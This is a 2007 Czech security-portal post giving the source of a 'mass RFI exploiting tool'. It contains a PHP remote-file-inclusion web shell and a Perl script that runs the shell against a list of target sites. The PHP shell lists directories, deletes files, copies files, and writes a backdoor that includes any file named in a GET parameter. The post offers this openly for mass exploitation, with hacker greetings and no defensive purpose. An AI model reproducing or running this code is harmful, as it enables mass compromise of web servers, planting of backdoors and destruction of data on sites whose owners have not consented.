# Mass RFI exploiting tool

Vložil/a Project skola [1], 24 Srpen, 2007 - 13:33

- Hacking [2]
- Programming [3]
- Security [4]

Zdrojové kódy Mass RFI Exploiting Tooly, aneb ovoce projektu #skola. 1) = RFIshell script fungující přes GET příkazy. 2) = Perl script pro automatizované využívání code1 RFIshellu. Výsledek = možnost masově provádět exploitaci RFI vulnerabilit !!

```
////////////////////////////////////////////////////////////////////////

    wtf: #skola / #skola_pentesting / mass rfi controller public selecta
    author: [4194]
    grEEtz: cruelty, rap-tor, nst, RubberDuck, tch, member_id_3
    suCks_: Hul*n, jakubdvor*k, mzk

    ->Prilis kratky popis funkcionality na to aby to pochopili
    OneButtonHackItAllClickerz

    code1 = rfishell script fungujici pres get prikazy
    code2 = perl script pro automatizovane vyuzivani code1 rfishellu

    vysledek=moznost masove provadet exploitaci rfi vulnerabilit

[code1]////////////////////////////////////////////////////////////////////
<?php
session_start();
define("dbg",1);
$cmd=htmlspecialchars(addslashes($_GET['cmd']));
if ($cmd!=$_GET['cmd']){die("eRr");}
////////////////////////////////////////////////////////////////////////functionz
function GetDirArray($sPath,&amp;$ret,&amp;$dir)
{
   global $time0, $MAXTIME, $timeover;
   if ((time()-$time0)>$MAXTIME) { $timeover = 1; return; }
   $handle=opendir($sPath);
   while ($file = readdir($handle))
   {
      $polozky[count($polozky)] = $file;
   }
   closedir($handle);
   sort($polozky);
   while (list($key, $val) = each($polozky))
   {
      if ($val != "." &amp;&amp; $val != "..")
      {
         $path = str_replace("//","/",$sPath.$val);
         $path2 = substr($path,2);
         $ret[count($ret)] = $path2;
         if (is_dir($sPath."/".$val))
         {
```

```
            $dir[count($dir)] = 1;
            GetDirArray($sPath."/".$val."/",$ret,$dir);
         }
         else
         {
            $dir[count($dir)] = 0;
         }
      }
   }
}

////////////////////////////////////////////////////////////////////////xfunctionz
echo "[~PWNED~]<br>";
if ((substr($cmd,0,strlen("upload ")))=="upload "){$cmd=substr($cmd,0,strlen("upload
"));
$cmd2=substr($_GET['cmd'],strlen("upload "),strlen($_GET['cmd']));}

if ((substr($cmd,0,strlen("make_backdoor ")))=="make_backdoor
"){$cmd=substr($cmd,0,strlen("make_backdoor "));
$cmd2=substr($_GET['cmd'],strlen("make_backdoor "),strlen($_GET['cmd']));}

if ((substr($cmd,0,strlen("erase ")))=="erase "){$cmd=substr($cmd,0,strlen("erase
"));
$cmd2=substr($_GET['cmd'],strlen("erase "),strlen($_GET['cmd']));}
if (!$cmd2)
{
    switch ($cmd)
    {


        case "creditz":
            ////////////////////////////////////////////////////////////////creditz
            echo "//////////////////////////////////////////////////////<br>";
            echo "wtf: rfi shell 4 mass use<br>";
            echo "author: [4194]<br>";
            echo "version: 0.001<br>";
            echo "//////////////////////////////////////////////////////<br>";
            ////////////////////////////////////////////////////////////////xcreditz
        break;
        case "dir":
            ////////////////////////////////////////////////////////////////dir
            $MAXTIME = 60;
            $time0 = time();
            $timeover = 0;
            $cwd = getcwd();
            echo "directory listing of ".$cwd."\n";
            GetDirArray("./",$ret,$dir);
            if ($timeover) echo "Provadeni skriptu preruseno, uplynul maximalni
povoleny cas ($MAXTIME sek.)<br><br>\n\n";
            echo "<pre>";
            while (list($key, $isdir) = each($dir))
            {
               list($key, $file) = each($ret);
               if($isdir==1)
               {
                  echo $file."\n";
               }
            }
            echo "</pre>";
```

```
            reset($dir);
            reset($ret);
            echo "<pre>";
            while (list($key, $file) = each($ret))
            {
               list($key, $isdir) = each($dir);
               if($isdir==0)
               {
                    echo $file."\n";
                    $count++;
               }
            }
            echo "</pre>";
            ////////////////////////////////////////////////////////////xdir
        break;

        default:
            echo "neexistujici prikaz";
    }
}else{
    switch ($cmd.$cmd2)
    {
        case "make_backdoor ".$cmd2:
            $backdoor_data="<?php include(\$_GET['wePWN']);?>";
            $save=fopen($cmd2,"w");
            $write=fwrite($save,$backdoor_data);
            if (!$write)
            {
                echo "erR";
            }else{
                echo "uploaded";
            }
        break;
        case "erase ".$cmd2:
            if (($cmd2)&amp;amp;(file_exists($cmd2)))
            {
                $x=unlink($cmd2);
                if (!$x){echo "eRr";}else{echo "cajk";}
            }
        break;
        case "upload ".$cmd2;
                $fp=fopen($cmd2,"r");
                $data=fread($fp,filesize($cmd2));
                $save=fopen("bd.php","w");
                $write=fwrite($save,$data);
                if (!$write)
                {
                    echo "erR";
                }else{
                    echo "uploaded";
                }
        break;
        default:
            echo "eRr";
    }
}
?>
```

```
[code2]////////////////////////////////////////////////////////////////
#!/usr/bin/perl
#
#  coded by [4194] -> #skola_pentesting
#  wePWN, wePWN, wePWN
#
#{cfg}////////////////////////////////////////////////////////////////
$cmd="rfishell_cmd";
$rfishell="rfishell_url/rfishell_filename?cmd=";
#{inc}////////////////////////////////////////////////////////////////
require LWP::UserAgent;
#{dcl}////////////////////////////////////////////////////////////////
my $ua = LWP::UserAgent->new;
$ua->timeout(10);
open(TARGETS, "<xe.txt"); #targetz list file
my(@linez_targets) = <TARGETS>;
#{fnc}////////////////////////////////////////////////////////////////
sub rtrim($)
{
    my $s = shift;
    $s =~ s/\s*$//;
    return $s;
}
#{run}////////////////////////////////////////////////////////////////
$data_output="<rfi_mass_sploit_result>\n";
foreach $radek (@linez_targets)
{
    $data_output.="\t<item>\n";
    $url=rtrim($radek).$rfishell.$cmd;
    my $response = $ua->get($url);
    if ($response->is_success)
    {
        $r=$response->content;
        if($r=~ m/\[~PWNED~\]/gi)
        {
            $data_output.= "\t\t<rox>\n";
            $data_output.= "\t\t\t<action>".$cmd."</action>\n";
            $data_output.= "\t\t\t<url>".$url."</url>\n";
            $data_output.= "\t\t\t<description>rfi sploit succeeded</description>\n";
            $data_output.= "\t\t</rox>\n";
        }else{
            $data_output.= "\t\t<sux>\n";
            $data_output.= "\t\t\t<url>".$url."</url>\n";
            $data_output.= "\t\t\t<action>".$cmd."</action>\n";
            $data_output.= "\t\t\t<description>rfi sploit failed</description>\n";
            $data_output.= "\t\t</sux>\n";
        }

    }else {
        $data_output.= "\t\t<sux>\n";
        $data_output.= "\t\t\t<url>".$url."</url>\n";
        $data_output.= "\t\t\t<action>".$cmd."</action>\n";
        $data_output.= "\t\t\t<description>eRr in request</description>\n";
        $data_output.= "\t\t</sux>\n";
    }
    $data_output.="\t</item>\n";

}
$data_output.="</rfi_mass_sploit_result>";
```

```
print $data_output;
#////////////////////////////////////////////////////////////////////////////
```

**Projekt: #skola -** http://skola.security-portal.cz/ [5]
**Full URL -** http://skola.security-portal.cz/%5B4194%5D-mass_rfi_sploitin.txt [6]

**URL článku:** https://security-portal.cz/clanky/mass-rfi-exploiting-tool

**Odkazy:**
[1] https://security-portal.cz/users/project-skola
[2] https://security-portal.cz/category/tagy/hacking
[3] https://security-portal.cz/category/tagy/programming
[4] https://security-portal.cz/category/tagy/security
[5] http://skola.security-portal.cz/
[6] http://skola.security-portal.cz/%5B4194%5D-mass_rfi_sploitin.txt